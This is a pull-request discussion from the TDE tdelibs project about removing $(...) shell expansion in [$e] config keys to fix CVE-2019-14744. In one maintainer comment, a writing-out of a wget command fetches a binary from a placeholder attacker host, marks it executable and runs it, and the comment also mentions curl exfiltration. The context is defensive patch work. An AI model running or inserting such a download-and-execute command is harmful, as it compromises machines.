Security: remove support for $(...) in config keys with [$e] marker. #46

Manually merged
SlavekB merged 1 commits from issue/45/CVE-2019-14744 into master 5 years ago
Owner

Patch is based on KDE Frameworks 5 kconfig patch for CVE-2019-14744.

Patch is based on KDE Frameworks 5 kconfig patch for CVE-2019-14744.
SlavekB added this to the R14.0.7 release milestone 5 years ago
SlavekB added the SL/critical label 5 years ago
SlavekB added a new dependency 5 years ago
Owner

Looks good to me

Looks good to me
sunjob commented 5 years ago

The problem is not the availability of this functionality, but that it should be allowed only for trusted paths:

/usr/...
/usr/local/...
/etc/...
$XDG_CONFIG_HOME
etc

And instead of implementing it as it should, you just deleted this functionality now. Wow...

The problem is not the availability of this functionality, but that it should be allowed only for trusted paths: /usr/... /usr/local/... /etc/... $XDG_CONFIG_HOME etc And instead of implementing it as it should, you just deleted this functionality now. Wow...
Poster
Owner

The problem is that simply reading a value causes some script to execute. Therefore, it is not a question of limiting to trusted paths. For example, there could be run regular /usr/bin/wget https://attacker/binary && chmod a+x binary && ./binary; echo "Have a nice day.". Or curl with sending information to a remote server,… Therefore removing it seems like a good idea. After all, we used the same solution as in the KDE world.

The problem is that simply reading a value causes some script to execute. Therefore, it is not a question of limiting to trusted paths. For example, there could be run *regular* `/usr/bin/wget https://attacker/binary && chmod a+x binary && ./binary; echo "Have a nice day."`. Or curl with sending information to a remote server,… Therefore removing it seems like a good idea. After all, we used the same solution as in the KDE world.
Owner

I agree with Slavek's comment. It is basically impossible to make this feature safe in all cases if we keep it enabled. The simple example in Slavek's comment is quite emblematic.

Removal seems the only sensible way to go.

I agree with Slavek's comment. It is basically impossible to make this feature safe in all cases if we keep it enabled. The simple example in Slavek's comment is quite emblematic. Removal seems the only sensible way to go.
sunjob commented 5 years ago

although maybe it’s better than having such a big hole :о)

although maybe it’s better than having such a big hole :о)
SlavekB closed this pull request 5 years ago
SlavekB closed this pull request 5 years ago
SlavekB deleted branch issue/45/CVE-2019-14744 5 years ago
The pull request has been manually merged as 1074eb0336.
Sign in to join this conversation.
No reviewers
No Milestone
No Assignees
3 Participants
Notifications
Due Date

No due date set.

Reference: TDE/tdelibs#46
Loading…
There is no content yet.